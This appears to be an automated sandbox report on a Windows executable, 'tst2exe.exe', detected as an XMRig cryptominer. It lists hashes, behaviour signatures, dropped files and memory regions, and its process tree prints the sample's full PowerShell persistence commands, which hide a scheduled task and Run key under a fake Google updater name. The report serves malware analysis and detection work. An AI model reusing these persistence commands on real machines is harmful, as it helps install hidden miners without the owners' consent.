Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20230621-en
  • resource tags

    arch:x64arch:x86image:win7-20230621-enlocale:en-usos:windows7-x64system
  • submitted
    01/07/2023, 08:17

General

  • Target

    tst2exe.exe

  • Size

    2.0MB

  • MD5

    092d064fa7c8b7c292462d00eb149265

  • SHA1

    0d49c50765b8bf2b4204e879a7be4cc26687f067

  • SHA256

    c295fd06c87d51ea44008eada1aebdf83b796d84110d0c887b30dd1f3f042136

  • SHA512

    4f48809cdc50e36347d9b4d212e9275763a3e35ddd503f3f1e3571a8375fc42340fb39c9049a3d4671944e75f113c4dfc725fc47e549316693065c0a233da93e

  • SSDEEP

    49152:x4PS8H+0oebhaupXOZcifTeCv31EMFvxbcS32paotG:xl8e0oebgE0xEYAHpa0

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 7 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 15 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 15 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 17 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1284
      • C:\Users\Admin\AppData\Local\Temp\tst2exe.exe
        "C:\Users\Admin\AppData\Local\Temp\tst2exe.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Suspicious behavior: EnumeratesProcesses
        PID:2012
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lzkcwj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'
          3⤵
          • Creates scheduled task(s)
          PID:1408
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#rjzfniou#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1268
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:764
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lzkcwj#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }
          2⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:932
          • C:\Windows\system32\schtasks.exe
            "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /tn GoogleUpdateTaskMachineQC /tr 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'
            3⤵
            • Creates scheduled task(s)
            PID:568
        • C:\Windows\System32\conhost.exe
          C:\Windows\System32\conhost.exe spvjclcofsaeha
          2⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          PID:1672
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1532
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
            • Detects videocard installed
            • Suspicious use of AdjustPrivilegeToken
            PID:1544
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
          2⤵
            PID:820
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe ykvqwkwpmylrdfhc 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnasCD7XnRLS04n/3PSQs4Y8p6xe1bGyOY+8Z8xp48QJueDeTETxFigw/gLPZY+zEogUGWJwIe0AnFUo5KGehIuSRD8LakQ2BzY76sQikKRo5YsnCeK/QrMiYGenOchYS4YVm4Mq5GFwkjpX187BgTPg4kGQ/EJj38iB/3as3g5YhZ2bIdgdbaAHvylGhfZzDs8Fdzbj5yoefwc1PUgVtZcrx8AO08U/BUNOX4d1V0IyrQP5B20AcwQFEf3x0sDlsF6RTUzvnwHQcaaeDuk/unYLnfvKkZUjZW8X97DPoFq76llU4OHP3lJptyeI4kahtNiTtYEa0YgdIy3fkqHhgulxBWEv3BRfJvESPAcrtIeoICy32EkyJ0srxUpK9t9omwK3rwfIP/Gc40evP+iApMQO
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2040
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {E868B500-DEA7-4DAC-BE25-6C2CB5DDA50B} S-1-5-21-1306246566-3334493410-3785284834-1000:FQMLBKKW\Admin:Interactive:[1]
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1192
          • C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
            C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1536

        Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          092d064fa7c8b7c292462d00eb149265

          SHA1

          0d49c50765b8bf2b4204e879a7be4cc26687f067

          SHA256

          c295fd06c87d51ea44008eada1aebdf83b796d84110d0c887b30dd1f3f042136

          SHA512

          4f48809cdc50e36347d9b4d212e9275763a3e35ddd503f3f1e3571a8375fc42340fb39c9049a3d4671944e75f113c4dfc725fc47e549316693065c0a233da93e

        • C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          092d064fa7c8b7c292462d00eb149265

          SHA1

          0d49c50765b8bf2b4204e879a7be4cc26687f067

          SHA256

          c295fd06c87d51ea44008eada1aebdf83b796d84110d0c887b30dd1f3f042136

          SHA512

          4f48809cdc50e36347d9b4d212e9275763a3e35ddd503f3f1e3571a8375fc42340fb39c9049a3d4671944e75f113c4dfc725fc47e549316693065c0a233da93e

        • C:\Users\Admin\AppData\Roaming\Google\Libs\g.log

          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          31e36325c0ce7b1d6986ba2efbc65e54

          SHA1

          b54fd50ad8404006fbdfd9979092ae83638c1c41

          SHA256

          a50116c628a7a7686a29ec0a3283baaedfa7dbab7f4a02a61a8d6b9347a7e401

          SHA512

          3b6b924f8b8e7abdee8d7ca10af7471727bce096727b97b493ae18e96399bbc6e4d0fb2700e9241168de950c325acf71c092652fbf37e578d33e57f0a50c0df1

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          31e36325c0ce7b1d6986ba2efbc65e54

          SHA1

          b54fd50ad8404006fbdfd9979092ae83638c1c41

          SHA256

          a50116c628a7a7686a29ec0a3283baaedfa7dbab7f4a02a61a8d6b9347a7e401

          SHA512

          3b6b924f8b8e7abdee8d7ca10af7471727bce096727b97b493ae18e96399bbc6e4d0fb2700e9241168de950c325acf71c092652fbf37e578d33e57f0a50c0df1

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\85TJ2MK1K3TTJ7AYDBEY.temp

          Filesize

          7KB

          MD5

          31e36325c0ce7b1d6986ba2efbc65e54

          SHA1

          b54fd50ad8404006fbdfd9979092ae83638c1c41

          SHA256

          a50116c628a7a7686a29ec0a3283baaedfa7dbab7f4a02a61a8d6b9347a7e401

          SHA512

          3b6b924f8b8e7abdee8d7ca10af7471727bce096727b97b493ae18e96399bbc6e4d0fb2700e9241168de950c325acf71c092652fbf37e578d33e57f0a50c0df1

        • \Users\Admin\AppData\Roaming\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          092d064fa7c8b7c292462d00eb149265

          SHA1

          0d49c50765b8bf2b4204e879a7be4cc26687f067

          SHA256

          c295fd06c87d51ea44008eada1aebdf83b796d84110d0c887b30dd1f3f042136

          SHA512

          4f48809cdc50e36347d9b4d212e9275763a3e35ddd503f3f1e3571a8375fc42340fb39c9049a3d4671944e75f113c4dfc725fc47e549316693065c0a233da93e

        • memory/932-84-0x00000000024AB000-0x00000000024E2000-memory.dmp

          Filesize

          220KB

        • memory/932-83-0x00000000024A4000-0x00000000024A7000-memory.dmp

          Filesize

          12KB

        • memory/1268-71-0x000000001B040000-0x000000001B322000-memory.dmp

          Filesize

          2.9MB

        • memory/1268-72-0x00000000022B0000-0x00000000022B8000-memory.dmp

          Filesize

          32KB

        • memory/1268-73-0x0000000002654000-0x0000000002657000-memory.dmp

          Filesize

          12KB

        • memory/1268-74-0x000000000265B000-0x0000000002692000-memory.dmp

          Filesize

          220KB

        • memory/1536-91-0x000000013F950000-0x000000013FB61000-memory.dmp

          Filesize

          2.1MB

        • memory/1672-95-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/1672-101-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/2012-65-0x000000013FE50000-0x0000000140061000-memory.dmp

          Filesize

          2.1MB

        • memory/2024-63-0x000000000288B000-0x00000000028C2000-memory.dmp

          Filesize

          220KB

        • memory/2024-62-0x0000000002880000-0x0000000002900000-memory.dmp

          Filesize

          512KB

        • memory/2024-61-0x0000000002880000-0x0000000002900000-memory.dmp

          Filesize

          512KB

        • memory/2024-60-0x0000000002880000-0x0000000002900000-memory.dmp

          Filesize

          512KB

        • memory/2024-59-0x0000000002350000-0x0000000002358000-memory.dmp

          Filesize

          32KB

        • memory/2024-58-0x000000001B1E0000-0x000000001B4C2000-memory.dmp

          Filesize

          2.9MB

        • memory/2040-97-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-106-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-96-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-93-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-99-0x0000000001F90000-0x0000000001FB0000-memory.dmp

          Filesize

          128KB

        • memory/2040-100-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-92-0x00000000001B0000-0x00000000001D0000-memory.dmp

          Filesize

          128KB

        • memory/2040-102-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-104-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-94-0x0000000001F90000-0x0000000001FB0000-memory.dmp

          Filesize

          128KB

        • memory/2040-108-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-110-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-112-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-114-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-116-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-118-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-120-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/2040-122-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB